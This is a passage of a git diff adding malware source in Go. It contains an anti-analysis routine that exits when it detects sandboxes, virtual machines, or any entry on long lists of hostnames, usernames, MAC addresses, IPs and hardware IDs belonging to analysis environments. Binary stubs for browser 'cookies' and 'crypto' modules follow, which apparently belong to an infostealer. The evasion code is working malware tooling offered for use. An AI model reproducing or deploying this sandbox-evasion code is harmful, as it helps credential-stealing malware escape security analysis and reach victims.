strings.Contains(strings.ToLower(string(gpu)), "vmware") +} + +func Run() { + if IsTriage() { + os.Exit(0) + } + + if IsScreenSmall() { + os.Exit(0) + } + + blacklistedHostnames := []string{"WORK", "JERRY-TRUJILLO", "w0fjuOVmCcP5A", "DESKTOP-1PYKP29", "DESKTOP-VRSQLAG", "DESKTOP-V1L26J5", "azure", "WINZDS-8MAEI8E4", "BAROSINO-PC", "DESKTOP-HSS0DJ9", "DESKTOP-NAKFFMT", "DESKTOP-NTU7VUO", "DESKTOP-GLBAZXT", "CRYPTODEV222222", "3u2v9m8", "xc64zb", "DESKTOP-DIL6IYA", "DESKTOP-JHUHOTB", "DESKTOP-USLVD7G", "DESKTOP-PKQNDSR", "desktop-nakffmt", "NTT-EFF-2W11WSS", "8VizSM", "compname_5076", "DESKTOP-54XGX6F", "WINZDS-AM76HPK2", "DESKTOP-QLN2VUF", "DESKTOP-XWQ5FUV", "DESKTOP-S1LFPHO", "3CECEFC83806", "DESKTOP-ZYQYSRD", "DESKTOP-IAPKN1P", "0CC47AC83803", "gYyZc9HZCYhRLNg", "Steve", "DESKTOP-LTMCKLA", "DESKTOP-UHHSY4R", "SERVER1", "DESKTOP-BGN5L8Y", "DESKTOP-AUPFKSY", "DESKTOP-WG3MYJS", "DESKTOP-RSNLFZS", "DESKTOP-RHXDKWW", "00900BC83803", "SYKGUIDE-WS17", "DESKTOP-WS7PPR2", "EIEEIFYE", "Peter Wilson", "GBQHURCC", "PROPERTY-LTD", "desktop-7xc6gez", "SERVER-PC", "bee7370c-8c0c-4", "373836", "DESKTOP-CNFVLMW", "DESKTOP-4GCZVJU", "WINZDS-3FF2I9SN", "BEE7370C-8C0C-4", "COFFEE-SHOP", "DESKTOP-NM1ZPLG", "Julia", "MIKE-PC", "DESKTOP-G4CWFLF", "6C4E733F-C2D9-4", "DESKTOP-ZOJJ8KL", "DESKTOP-CM0DAW8", "WINZDS-5J75DTHH", "WINZDS-6TUIHN7R", "DESKTOP-19OLLTD", "DESKTOP-KALVINO", "NETTYPC", "PqONjHVwexsS", "DESKTOP-CRCCCOT", "LOUISE-PC", "DESKTOP-ION5ZSB", "PxmdUOpVyx", "DESKTOP-KOKOVSK", "DESKTOP-RCA3QWX", "DESKTOP-AHGXKTV", "DESKTOP-B9OARKC", "DESKTOP-5OV9S0O", "DESKTOP-RP4FIBL", "b30f0242-1c6a-4", "DESKTOP-B0T93D6", "DESKTOP-W8JLV9V", "DESKTOP-ZV9GVYL", "ORXGKKZC", "lisa-pc", "DESKTOP-GNQZM0O", "DESKTOP-ZNCAEAM", "desktop-vrsqlag", "DESKTOP-ECWZXY2", "RDhJ0CNFevzX", "ALIONE", "Q9IATRKPRH", "Abby", "BECKER-PC", "DESKTOP-F7BGEN9", "DESKTOP-QUAY8GS", "WINZDS-VQH86L5D", "DESKTOP-6UJBD2J", "EFA0FDEC-8FA7-4", "work", "kEecfMwgj", "HEUeRzl", "DESKTOP-D4FEN3M", "DESKTOP-NKP0I4P", "DESKTOP-SUNDMI5", "DESKTOP-VWJU7MF", "6c4e733f-c2d9-4", "ACEPC", "DESKTOP-4U8DTF8", "DESKTOP-ZJRWGX5", "ralphs-pc", "B30F0242-1C6A-4", "DESKTOP-O6FBMF7", "GANGISTAN", "DESKTOP-CHAYANN", "DESKTOP-Y8ASUIL", "FERREIRA-W10", "DESKTOP-WDT1SL6", "DESKTOP-GCN6MIO", "Paul Jones", "DESKTOP-7AFSTDP", "DESKTOP-ALBERTO", "TVM-PC", "DESKTOP-8K9D93B", "WINZDS-B03L9CEO", "desktop-wi8clet", "DESKTOP-VZ5ZSYI", "WINZDS-K7VIK4FC", "DESKTOP-FCRB3FM", "oreleepc", "desktop-1y2433r", "DESKTOP-D019GDM", "DESKTOP-WI8CLET", "win-5e07cos9alr", "C81F66C83805", "WINDOWS-EEL53SN", "archibaldpc", "DESKTOP-FSHHZLJ", "DESKTOP-GPPK5VQ", "DESKTOP-XOY7MHS", "desktop-5ov9s0o", "DESKTOP-ZJF9KAN", "d1bnJkfVlH", "JBYQTQBO", "MARCI-PC", "desktop-vkeons4", "patex", "lmVwjj9b", "DESKTOP-JQPIFWD", "DESKTOP-7XC6GEZ", "GRXNNIIE", "WINZDS-RST0E8VU", "TIQIYLA9TW5M", "desktop-1pykp29", "WINZDS-BUAOKGG1", "george", "john-pc", "desktop-b0t93d6", "DESKTOP-VYRNO7M", "DESKTOP-J5XGGXR", "DESKTOP-GELATOR", "DESKTOP-IFCAQVL", "QarZhrdBpj", "PC-DANIELE", "GRAFPC", "DESKTOP-HQLUWFA", "WINZDS-MILOBM35", "qarzhrdbpj", "DESKTOP-BXJYAEC", "DESKTOP-FLTWYYU", "DESKTOP-BUGIO", "WIN-5E07COS9ALR", "LUCAS-PC", "WINZDS-9IO75SVG", "DESKTOP-MJC6500", "DESKTOP-UBDJJ0A", "RALPHS-PC", "WINZDS-U95191IG", "EA8C2E2A-D017-4", "julia-pc", "DESKTOP-ZMYEHDA", "XGNSVODU", "ZELJAVA", "DESKTOP-YW9UO1H", "DESKTOP-MWFRVKH", "Frank", "DESKTOP-DE369SE", "ESPNHOOL", "ARCHIBALDPC", "DESKTOP-CDQE7VN", "q9iatrkprh", "LANTECH-LLC", "DESKTOP-70T5SDX", "COMPNAME_4047", "DESKTOP-6AKQQAM", "DESKTOP-CBGPFEE", "DESKTOP-SUPERIO", "T00917", "APPONFLY-VPS", "WINZDS-BMSMD8ME", "DESKTOP-6BMFT65", "desktop-wg3myjs", "DESKTOP-VIRENDO", "DOMIC-DESKTOP", "WINZDS-QNGKGN59", "DESKTOP-KXP5YFO", "d1bnjkfvlh", "Lisa", "DESKTOP-VKNFFB6", "DESKTOP-SCNDJWE", "test42", "WDAGUtilityAccount", "DESKTOP-PA0FNV5", "XC64ZB", "WINZDS-22URJIBV", "ORELEEPC", "VONRAHEL", "WINZDS-1BHRVPQU", "DESKTOP-HASANLO", "LISA-PC", "DESKTOP-DAU8GJ2", "John", "WILEYPC", "JOHN-PC", "8Nl0ColNQ5bq", "desktop-d019gdm", "DESKTOP-WA2BY3L", "TMKNGOMU", "server1", "ALENMOOS-PC", "DESKTOP-62YPFIQ", "hmarc", "DESKTOP-64ACUCH", "JUDES-DOJO", "wileypc", "DESKTOP-K8Y2SAM", "AIDANPC", "DESKTOP-1Y2433R", "JULIA-PC"} + if IsBlacklistedHostname(blacklistedHostnames) { + os.Exit(0) + } + + blacklistedUsernames := []string{"w0fjuOVmCcP5A", "43By4", "azure", "GJAm1NxXVm", "9yjCPsEYIMH", "noK4zG7ZhOf", "Lucas", "7wjlGX7PjlW4", "Amy", "3u2v9m8", "05h00Gi0", "BXw7q", "dOuyo8RV71", "7DBgdxu", "5Y3y73", "8VizSM", "xUnUy", "server", "5ISYH9SH", "XMiMmcKziitD", "Steve", "TVM", "JAW4Dz0", "h86LHD", "05KvAUQKPQ", "DdQrgc", "G2DbYLDgzz8Y", "pf5vj", "UiQcX", "OgJb6GqgK0O", "harry johnson", "test", "j6SHA37KA", "6O4KyHhJXBiR", "DVrzi", "jude", "Julia", "keecfmwgj", "nZAp7UBVaS1", "QfofoG", "lK3zMR", "PqONjHVwexsS", "PxmdUOpVyx", "mike", "Of20XqH4VL", "ICQja5iT", "pxmduopvyx", "JcOtj17dZx", "DefaultAccount", "PgfV1X", "frank", "fred", "QZSBJVWM", "QmIS5df7u", "RGzcBUyrznReg", "RDhJ0CNFevzX", "Abby", "john", "kEecfMwgj", "lubi53aN14cU", "HEUeRzl", "UspG1y1C", "ecVtZ5wE", "xPLyvzr8sgC", "5sIBK", "8nl0colnq5bq", "cMkNdS6", "qZo9A", "IZZuXj", "BUiA1hkm", "EGG0p", "abby", "8vizsm", "wdagutilityaccount", "Paul Jones", "vzY4jmH0Jw02", "pWOuqdTDQ", "e60UW", "Uox1tzaMO", "BvJChRPnsxn", "ASPNET", "ykj0egq7fze", "peter wilson", "S7Wjuf", "User01", "Mr.None", "tHiF2T", "pqonjhvwexss", "AppOnFlySupport", "patex", "lmVwjj9b", "j7pNjWM", "equZE3J", "george", "john-pc", "GjBsjb", "zOEsT", "o6jdigq", "OZFUCOD6", "w0fjuovmccp5a", "o8yTi52T", "uHUQIuwoEFU", "Louise", "Harry Johnson", "h7dk1xPr", "kFu0lQwgX5P", "PateX", "lisa", "umyUJ", "cM0uEGN4do", "l3cnbB8Ar5b8", "Frank", "KUv3bT4", "rB5BnfuR2", "julia", "Guest", "GGw8NR", "txWas1m2t", "64F2tKIqO5", "QORxJKNk", "3W1GJT", "ryjIJKIrOMs", "tvm", "Lisa", "WDAGUtilityAccount", "GexwjQdjXG", "sal.rosenburg", "ymONofg", "fNBDSlDTXY", "heuerzl", "21zLucUnfI85", "gL50ksOp", "IVwoKUF", "SqgFOf3G", "a.monaldo", "4tgiizsLimS", "John", "8Nl0ColNQ5bq", "8LnfAai9QdJR", "j.seance", "hmarc", "gu17B", "dxd8DJ7c", "lmvwjj9b", "rdhj0cnfevzx"} + if IsBlacklistedUsername(blacklistedUsernames) { + os.Exit(0) + } + + blacklistedMacAddresses := []string{"", "00:50:56:a0:af:75", "00:e0:4c:cb:62:08", "2e:62:e8:47:14:49", "00:50:56:b3:50:de", "00:50:56:b3:ea:ee", "00:50:56:b3:14:59", "94:de:80:de:1a:35", "42:01:0a:8e:00:22", "00:50:56:b3:3b:a6", "ac:1f:6b:d0:48:fe", "00:50:56:ae:5d:ea", "ca:4d:4b:ca:18:cc", "52:54:00:b3:e4:71", "52:54:00:a0:41:92", "00:0c:29:05:d8:6e", "00:15:5d:00:00:a4", "d4:81:d7:ed:25:54", "d6:03:e4:ab:77:8e", "00:e0:4c:56:42:97", "00:50:56:b3:dd:03", "00:25:90:36:65:0c", "3c:ec:ef:44:01:0c", "92:4c:a8:23:fc:2e", "00:e0:4c:4b:4a:40", "00:50:56:b3:4c:bf", "00:15:5d:00:05:8d", "00:50:56:b3:38:68", "00:e0:4c:7b:7b:86", "52:54:00:3b:78:24", "08:00:27:3a:28:73", "42:01:0a:96:00:33", "b6:ed:9d:27:f4:fa", "00:e0:4c:94:1f:20", "00:e0:4c:d6:86:77", "00:50:56:b3:42:33", "00:15:5d:13:6d:0c", "4e:79:c0:d9:af:c3", "00:15:5d:b6:e0:cc", "00:03:47:63:8b:de", "00:e0:4c:44:76:54", "00:50:56:a0:06:8d", "00:1b:21:13:32:51", "00:50:56:a0:39:18", "00:50:56:ae:e5:d5", "ea:02:75:3c:90:9f", "00:15:5d:00:05:d5", "00:50:56:b3:94:cb", "00:15:5d:13:66:ca", "00:1b:21:13:33:55", "00:1b:21:13:15:20", "56:e8:92:2e:76:0d", "3c:ec:ef:44:01:aa", "00:15:5d:23:4c:ad", "00:50:56:b3:ee:e1", "00:50:56:a0:61:aa", "00:15:5d:00:00:b3", "00:50:56:97:f6:c8", "08:00:27:45:13:10", "ac:1f:6b:d0:4d:e4", "90:48:9a:9d:d5:24", "00:15:5d:1e:01:c8", "00:50:56:97:a1:f8", "00:50:56:b3:fa:23", "c8:9f:1d:b6:58:e4", "1c:99:57:1c:ad:e4", "00:15:5d:00:00:1d", "a6:24:aa:ae:e6:12", "16:ef:22:04:af:76", "52:54:00:8b:a6:08", "12:f8:87:ab:13:ec", "32:11:4d:d0:4a:9e", "d4:81:d7:87:05:ab", "00:1b:21:13:32:20", "00:15:5d:00:00:c3", "00:0c:29:52:52:50", "00:23:cd:ff:94:f0", "b4:a9:5a:b1:c6:fd", "00:0c:29:2c:c1:21", "60:02:92:66:10:79", "00:50:56:b3:05:b4", "1a:6c:62:60:3b:f4", "56:b0:6f:ca:0a:e7", "00:50:56:97:ec:f2", "00:50:56:a0:84:88", "00:50:56:a0:d7:38", "4e:81:81:8e:22:4e", "00:e0:4c:b3:5a:2a", "42:01:0a:96:00:22", "00:50:56:b3:38:88", "06:75:91:59:3e:02", "3c:ec:ef:44:00:d0", "00:15:5d:00:06:43", "00:25:90:36:f0:3b", "00:15:5d:00:00:f3", "00:50:56:b3:d0:a7", "60:02:92:3d:f1:69", "00:50:56:a0:d0:fa", "1e:6c:34:93:68:64", "00:e0:4c:b8:7a:58", "00:50:56:a0:cd:a8", "ac:1f:6b:d0:4d:98", "00:50:56:b3:09:9e", "3e:53:81:b7:01:13", "00:25:90:36:65:38", "00:50:56:ae:6f:54", "00:0d:3a:d2:4f:1f", "00:50:56:b3:f6:57", "7e:05:a3:62:9c:4d", "42:01:0a:8a:00:22", "5a:e2:a6:a4:44:db", "00:15:5d:00:01:81", "3c:ec:ef:43:fe:de", "00:e0:4c:46:cf:01", "42:01:0a:8a:00:33", "00:15:5d:00:1c:9a", "42:85:07:f4:83:d0", "00:50:56:a0:45:03", "00:50:56:a0:dd:00", "c2:ee:af:fd:29:21", "3e:c1:fd:f1:bf:71", "00:1b:21:13:21:26", "00:50:56:ae:b2:b0", "52:54:00:ab:de:59", "00:50:56:a0:59:10", "00:50:56:b3:21:29", "be:00:e5:c5:0c:e5", "f6:a5:41:31:b2:78", "12:8a:5c:2a:65:d1", "00:1b:21:13:26:44", "00:15:5d:00:1a:b9", "00:50:56:a0:6d:86", "00:15:5d:00:02:26", "ac:1f:6b:d0:49:86", "96:2b:e9:43:96:76", "00:50:56:b3:91:c8", "00:50:56:b3:9e:9e", "00:25:90:65:39:e4", "00:15:5d:23:4c:a3", "5e:86:e4:3d:0d:f6", "2e:b8:24:4d:f7:de", "00:50:56:a0:38:06", "ea:f6:f1:a2:33:76", "12:1b:9e:3c:a6:2c", "00:15:5d:00:07:34"} + if IsBlacklistedMAC(blacklistedMacAddresses) { + os.Exit(0) + } + + blacklistedIPAddresses := []string{"34.85.253.170", "109.74.154.90", "88.132.226.203", "34.145.89.174", "194.154.78.160", "95.25.81.24", "192.40.57.234", "92.211.192.144", "178.239.165.70", "34.83.46.130", "109.74.154.91", "34.145.195.58", "88.132.227.238", "104.18.12.38", "35.237.47.12", "92.211.52.62", "195.181.175.105", "193.128.114.45", "87.166.50.213", "195.239.51.3", "35.192.93.107", "188.105.91.143", "188.105.91.173", "79.104.209.33", "193.225.193.201", "213.33.142.50", "34.141.146.114", "88.132.225.100", "88.153.199.169", "34.141.245.25", "35.199.6.13", "88.132.231.71", "34.105.72.241", "34.253.248.228", "93.216.75.209", "92.211.109.160", "None", "84.147.62.12", "195.239.51.59", "95.25.204.90", "212.119.227.151", "20.99.160.173", "34.105.0.27", "80.211.0.97", "109.145.173.169", "34.138.96.23", "78.139.8.50", "34.85.243.241", "84.147.54.113", "195.74.76.222", "192.211.110.74", "192.87.28.103", "64.124.12.162", "34.105.183.68", "212.119.227.167", "34.142.74.220", "92.211.55.199", "109.74.154.92", "188.105.91.116", "35.229.69.227", "23.128.248.46"} + if IsBlacklistedIP(blacklistedIPAddresses) { + os.Exit(0) + } + + blacklistedHWIDs := []string{"361E3342-9FAD-AC1C-F1AD-02E97892270F", "07E42E42-F43D-3E1C-1C6B-9C7AC120F3B9", "49434D53-0200-9065-2500-659025002274", "2C5C2E42-E7B1-4D75-3EA3-A325353CDB72", "83BFD600-3C27-11EA-8000-3CECEF4400B4", "A1A849F7-0D57-4AD3-9073-C79D274EECC8", "C249957A-AA08-4B21-933F-9271BEC63C85", "FED63342-E0D6-C669-D53F-253D696D74DA", "A7721742-BE24-8A1C-B859-D7F8251A83D3", "0A36B1E3-1F6B-47DE-8D72-D4F46927F13F", "1AAD2042-66E8-C06A-2F81-A6A4A6A99093", "A6A21742-8023-CED9-EA8D-8F0BC4B35DEA", "49434D53-0200-9065-2500-659025005073", "52562042-B33F-C9D3-0149-241F40A0F5D8", "AAFC2042-4721-4E22-F795-A60296CAC029", "050C3342-FADD-AEDF-EF24-C6454E1A73C9", "E3BB3342-02A8-5613-9C92-3747616194FD", "DBC22E42-59F7-1329-D9F2-E78A2EE5BD0D", "F705420F-0BB3-4688-B75C-6CD1352CABA9", "79AF5279-16CF-4094-9758-F88A616D81B4", "2AB86800-3C50-11EA-8000-3CECEF440130", "00000000-0000-0000-0000-AC1F6BD04976", "FE822042-A70C-D08B-F1D1-C207055A488F", "00000000-0000-0000-0000-AC1F6BD04978", "D8C30328-1B06-4611-8E3C-E433F4F9794E", "0910CBA3-B396-476B-A7D7-716DB90F5FB9", "B1112042-52E8-E25B-3655-6A4F54155DBF", "138D921D-680F-4145-BDFF-EC463E70C77D", "CF1BE00F-4AAF-455E-8DCD-B5B09B6BFA8F", "FBC62042-5DE9-16AD-3F27-F818E5F68DD3", "FC40ACF8-DD97-4590-B605-83B595B0C4BA", "00000000-0000-0000-0000-AC1F6BD04DC0", "0A9D60D4-9A32-4317-B7C0-B11B5C677335", "F9E41000-3B35-11EA-8000-3CECEF440150", "11111111-2222-3333-4444-555555555555", "9B2F7E00-6F4C-11EA-8000-3CECEF467028", "CD74107E-444E-11EB-BA3A-E3FDD4B29537", "E08DE9AA-C704-4261-B32D-57B2A3993518", "00000000-0000-0000-0000-AC1F6BD04C0A", "418F0D5B-FCB6-41F5-BDA5-94C1AFB240ED", "DD9C3342-FB80-9A31-EB04-5794E5AE2B4C", "2E6FB594-9D55-4424-8E74-CE25A25E36B0", "41B73342-8EA1-E6BF-ECB0-4BC8768D86E9", "03DE0294-0480-05DE-1A06-350700080009", "8EC60B88-7F2B-42DA-B8C3-4E2EF2A8C603", "91625303-5211-4AAC-9842-01A41BA60D5A", "E1BA2E42-EFB1-CDFD-7A84-8A39F747E0C5", "C364B4FE-F1C1-4F2D-8424-CB9BD735EF6E", "03AA02FC-0414-0507-BC06-D70700080009", "00000000-0000-0000-0000-AC1F6BD048FE", "9921DE3A-5C1A-DF11-9078-563412000026", "9FC997CA-5081-4751-BC78-CE56D06F6A62", "213D2878-0E33-4D8C-B0D1-31425B9DE674", "00000000-0000-0000-0000-AC1F6BD04DCC", "13A61742-AF45-EFE4-70F4-05EF50767784", "7CA33342-A88C-7CD1-1ABB-7C0A82F488BF", "00000000-0000-0000-0000-AC1F6BD04D98", "F68B2042-E3A7-2ADA-ADBC-A6274307A317", "26645000-3B67-11EA-8000-3CECEF440124", "0D748400-3B00-11EA-8000-3CECEF44007E", "3F284CA4-8BDF-489B-A273-41B44D668F6D", "6881083C-EE5A-43E7-B7E3-A0CE9227839C", "89E32042-1B2B-5C76-E966-D4E363846FD4", "51646514-93E1-4CB6-AF29-036B45D14CBF", "38813342-D7D0-DFC8-C56F-7FC9DFE5C972", "F5744000-3C78-11EA-8000-3CECEF43FEFE", "00000000-0000-0000-0000-AC1F6BD04926", "9EB0FAF6-0713-4576-BD64-813DEE9E477E", "686D4936-87C1-4EBD-BEB7-B3D92ECA4E28", "67C5A563-3218-4718-8251-F38E3F6A89C1", "FA8C2042-205D-13B0-FCB5-C5CC55577A35", "699400A5-AFC6-427A-A56F-CE63D3E121CB", "DD45F600-3C63-11EA-8000-3CECEF440156", "84782042-E646-50A0-159F-A8E75D4F9402", "E6DBCCDF-5082-4479-B61A-6990D92ACC5F", "95BF6A00-3C63-11EA-8000-3CECEF43FEB8", "2DD1B176-C043-49A4-830F-C623FFB88F3C", "3EDC0561-C455-4D64-B176-3CFBBBF3FA47", "4CB82042-BA8F-1748-C941-363C391CA7F3", "4729AEB0-FC07-11E3-9673-CE39E79C8A00", "7D341C16-E8E9-42EA-8779-93653D877231", "F3988356-32F5-4AE1-8D47-FD3B8BAFBD4C", "00000000-0000-0000-0000-AC1F6BD048F8", "5E573342-6093-4F2D-5F78-F51B9822B388", "05790C00-3B21-11EA-8000-3CECEF4400D0", "C7D23342-A5D4-68A1-59AC-CF40F735B363", "FCE23342-91F1-EAFC-BA97-5AAE4509E173", "49434D53-0200-9036-2500-369025000C65", "D2DC3342-396C-6737-A8F6-0C6673C1DE08", "8B4E8278-525C-7343-B825-280AEBCD3BCB", "A5CE2042-8D25-24C4-71F7-F56309D7D45F", "E57F6333-A2AC-4F65-B442-20E928C0A625", "6A669639-4BD2-47E5-BE03-9CBAFC9EF9B3", "5BD24D56-789F-8468-7CDC-CAA7222CC121", "B9DA2042-0D7B-F938-8E8A-DA098462AAEC", "D4C44C15-4BAE-469B-B8FD-86E5C7EB89AB", "DBCC3514-FA57-477D-9D1F-1CAF4CC92D0F", "8703841B-3C5E-461C-BE72-1747D651CE89", "E2342042-A1F8-3DCF-0182-0E63D607BCC7", "481E2042-A1AF-D390-CE06-A8F783B1E76A", "1D4D3342-D6C4-710C-98A3-9CC6571234D5", "EADD1742-4807-00A0-F92E-CCD933E9D8C1", "3E9AC505-812A-456F-A9E6-C7426582500E", "5EBC5C00-3B70-11EA-8000-3CECEF4401DA", "88DC3342-12E6-7D62-B0AE-C80E578E7B07", "14692042-A78B-9563-D59D-EB7DD2639037", "42A82042-3F13-512F-5E3D-6BF4FFFD8518", "00000000-0000-0000-0000-AC1F6BD048D6", "7E4755A6-7160-4982-8F5D-6AA481749F10", "907A2A79-7116-4CB6-9FA5-E5A58C4587CD", "6608003F-ECE4-494E-B07E-1C4615D1D93C", "40384E87-1FBA-4096-9EA1-D110F0EA92A8", "3A9F3342-D1F2-DF37-68AE-C10F60BFB462", "E0C806ED-B25A-4744-AD7D-59771187122E", "12EE3342-87A2-32DE-A390-4C2DA4D512E9", "63FA3342-31C7-4E8E-8089-DAFF6CE5E967", "90A83342-D7E7-7A14-FFB3-2AA345FDBC89", "49434D53-0200-9036-2500-369025005CF0", "6E963342-B9C8-2D14-B057-C60C35722AD4", "2CEA2042-9B9B-FAC1-44D8-159FE611FCCC", "782ED390-AE10-4727-A866-07018A8DED22", "777D84B3-88D1-451C-93E4-D235177420A7", "671BC5F7-4B0F-FF43-B923-8B1645581DC8", "52A1C000-3BAB-11EA-8000-3CECEF440204", "00000000-0000-0000-0000-AC1F6BD049B8", "ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548", "3FADD8D6-3754-47C4-9BFF-0E35553DD5FB", "A100EFD7-4A31-458F-B7FE-2EF95162B32F", "4EDF3342-E7A2-5776-4AE5-57531F471D56", "00000000-0000-0000-0000-AC1F6BD0491C", "59C68035-4B21-43E8-A6A6-BD734C0EE699", "63DE70B4-1905-48F2-8CC4-F7C13B578B34", "B22B623B-6B62-4F9B-A9D3-94A15453CEF4", "49434D53-0200-9065-2500-65902500E439", "CEFC836C-8CB1-45A6-ADD7-209085EE2A57", "03D40274-0435-05BF-D906-D20700080009", "11E12042-2404-040A-31E4-27374099F748", "56B9F600-3C1C-11EA-8000-3CECEF4401DE", "A2339E80-BB69-4BF5-84BC-E9BE9D574A65", "EB16924B-FB6D-4FA1-8666-17B91F62FB37", "D7AC2042-05F8-0037-54A6-38387D00B767", "12204D56-28C0-AB03-51B7-44A8B7525250", "9CFF2042-2043-0340-4F9C-4BAE6DC5BB39", "7A484800-3B19-11EA-8000-3CECEF440122", "2F94221A-9D07-40D9-8C98-87CB5BFC3549", "222EFE91-EAE3-49F1-8E8D-EBAE067F801A", "7AB5C494-39F5-4941-9163-47F54D6D5016", "D7382042-00A0-A6F0-1E51-FD1BBF06CD71", "40F100F9-401C-487D-8D37-48107C6CE1D3", "A9C83342-4800-0578-1EE8-BA26D2A678D2", "5C1CA40D-EF14-4DF8-9597-6C0B6355D0D6", "5E3E7FE0-2636-4CB7-84F5-8D2650FFEC0E", "0700BEF3-1410-4284-81B1-E5C17FA9E18F", "49434D53-0200-9036-2500-36902500F022", "2F230ED7-5797-4DB2-BAA0-99A193503E4B", "F5EFEEAC-96A0-11EB-8365-FAFE299935A9", "BB233342-2E01-718F-D4A1-E7F69D026428", "D4260370-C9F1-4195-95A8-585611AE73F2", "0B8A2042-2E8E-BECC-B6A4-7925F2163DC9", "4CE94980-D7DA-11DD-A621-08606E889D9B", "00000000-0000-0000-0000-AC1F6BD04928", "C0342042-AF96-18EE-C570-A5EFA8FF8890", "119602E8-92F9-BD4B-8979-DA682276D385", "00000000-0000-0000-0000-AC1F6BD04986", "ACA69200-3C4C-11EA-8000-3CECEF4401AA", "5EBD2E42-1DB8-78A6-0EC3-031B661D5C57", "00000000-0000-0000-0000-AC1F6BD04900", "00000000-0000-0000-0000-50E5493391EF", "BB64E044-87BA-C847-BC0A-C797D1A16A50", "9961A120-E691-4FFE-B67B-F0E4115D5919", "00000000-0000-0000-0000-AC1F6BD048DC", "9C6D1742-046D-BC94-ED09-C36F70CC9A91", "91A9EEDB-4652-4453-AC5B-8E92E68CBCF5", "71522042-DA0B-6793-668B-CE95AEA7FE21", "6AA13342-49AB-DC46-4F28-D7BDDCE6BE32", "00000000-0000-0000-0000-AC1F6BD04D06", "F5BB1742-D36D-A11E-6580-2EA2427B0038", "365B4000-3B25-11EA-8000-3CECEF44010C", "1B5D3FFD-A28E-4F11-9CD6-FF148989548C", "00000000-0000-0000-0000-000000000000", "C9283342-8499-721F-12BE-32A556C9A7A8", "76122042-C286-FA81-F0A8-514CC507B250", "94515D88-D62B-498A-BA7C-3614B5D4307C", "E67640B3-2B34-4D7F-BD62-59A1822DDBDC", "07AF2042-392C-229F-8491-455123CC85FB", "64176F5E-8F74-412F-B3CF-917EFA5FB9DB", "612F079A-D69B-47EA-B7FF-13839CD17404", "84FE3342-6C67-5FC6-5639-9B3CA3D775A1", "67442042-0F69-367D-1B2E-1EE846020090", "BE784D56-81F5-2C8D-9D4B-5AB56F05D86E", "AF1B2042-4B90-0000-A4E4-632A1C8C7EB1", "A15A930C-8251-9645-AF63-E45AD728C20C", "FE455D1A-BE27-4BA4-96C8-967A6D3A9661", "00000000-0000-0000-0000-AC1F6BD047A0", "104F9B96-5B46-4567-BF56-0066C1C6F7F0", "80152042-2F34-11D1-441F-5FADCA01996D", "C51E9A00-3BC3-11EA-8000-3CECEF440034", "73163342-B704-86D5-519B-18E1D191335C", "D5DD3342-46B5-298A-2E81-5CA6867168BE", "00000000-0000-0000-0000-AC1F6BD04850", "69AEA650-3AE3-455C-9F80-51159BAE5EAE", "4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27", "44B94D56-65AB-DC02-86A0-98143A7423BF", "49434D53-0200-9065-2500-659025008074", "7D6A0A6D-394E-4179-9636-662A8D2C7304", "499B0800-3C18-11EA-8000-3CECEF43FEA4", "72492D47-52EF-427A-B623-D4F2192F97D4", "921E2042-70D3-F9F1-8CBD-B398A21F89C6", "0F377508-5106-45F4-A0D6-E8352F51A8A5", "66729280-2B0C-4BD0-8131-950D86871E54", "6F3CA5EC-BEC9-4A4D-8274-11168F640058", "00000000-0000-0000-0000-AC1F6BD04972", "032E02B4-0499-05C3-0806-3C0700080009", "6ECEAF72-3548-476C-BD8D-73134A9182C8", "C6B32042-4EC3-6FDF-C725-6F63914DA7C7", "0934E336-72E4-4E6A-B3E5-383BD8E938C3", "D9142042-8F51-5EFF-D5F8-EE9AE3D1602A", "CC5B3F62-2A04-4D2E-A46C-AA41B7050712", "48941AE9-D52F-11DF-BBDA-503734826431", "00000000-0000-0000-0000-AC1F6BD04D08", "00000000-0000-0000-0000-AC1F6BD04D8E", "B5B77895-D40B-4F30-A565-6EF72586A14A", "F91C9458-6656-4E83-B84A-13641DE92949", "4C4C4544-0050-3710-8058-CAC04F59344A", "60C83342-0A97-928D-7316-5F1080A78E72", "FA612E42-DC79-4F91-CA17-1538AD635C95", "4DC32042-E601-F329-21C1-03F27564FD6C", "96BB3342-6335-0FA8-BA29-E1BA5D8FEFBE", "63203342-0EB0-AA1A-4DF5-3FB37DBB0670", "67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3", "08C1E400-3C56-11EA-8000-3CECEF43FEDE", "FF577B79-782E-0A4D-8568-B35A9B7EB76B", "8DA62042-8B59-B4E3-D232-38B29A10964A", "49434D53-0200-9036-2500-369025003AF0", "49434D53-0200-9036-2500-369025003A65", "84FEEFBC-805F-4C0E-AD5B-A0042999134D", "02AD9898-FA37-11EB-AC55-1D0C0A67EA8A", "34419E14-4019-11EB-9A22-6C4AB634B69A", "BFE62042-E4E1-0B20-6076-C5D83EDFAFCE", "D7958D98-A51E-4B34-8C51-547A6C2E6615", "5CC7016D-76AB-492D-B178-44C12B1B3C73", "844703CF-AA4E-49F3-9D5C-74B8D1F5DCB6", "66CC1742-AAC7-E368-C8AE-9EEB22BD9F3B", "A19323DA-80B2-48C9-9F8F-B21D08C3FE07", "F3EA4E00-3C5F-11EA-8000-3CECEF440016", "CE352E42-9339-8484-293A-BD50CDC639A5", "CC4AB400-3C66-11EA-8000-3CECEF43FE56", "38AB3342-66B0-7175-0B23-F390B3728B78", "49434D53-0200-9036-2500-369025003865", "B6464A2B-92C7-4B95-A2D0-E5410081B812", "DEAEB8CE-A573-9F48-BD40-62ED6C223F20", "3F3C58D1-B4F2-4019-B2A2-2A500E96AF2E", "E773CC89-EFB8-4DB6-A46E-6CCA20FE4E1A", "2FBC3342-6152-674F-08E4-227A81CBD5F5"} + if IsBlacklistedHWID(blacklistedHWIDs) { + os.Exit(0) + } + + if IsHosted() { + os.Exit(0) + } + + if RegistryCheck() { + os.Exit(0) + } + + if GraphicsCardCheck() { + os.Exit(0) + } +} diff --git a/modules/browsers/._cookies.go b/modules/browsers/._cookies.go new file mode 100644 index 0000000000000000000000000000000000000000..023f7313dd618d1041d9235607055d6beb3705ff GIT binary patch literal 211 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}@j@U5@h<~05x_AdBnYYuq+J^qI7A5ADWagzZ6zUroSQuKHS*BVfr&=UgI~66CrCM7Un;RH9 k8#(GanVMSYnwXop=sKCXxau0a8oHV~nHrm!m^d;30A$M_EdT%j literal 0 HcmV?d00001 diff --git a/modules/browsers/._crypto.go b/modules/browsers/._crypto.go new file mode 100644 index 0000000000000000000000000000000000000000..023f7313dd618d1041d9235607055d6beb3705ff GIT binary patch literal 211 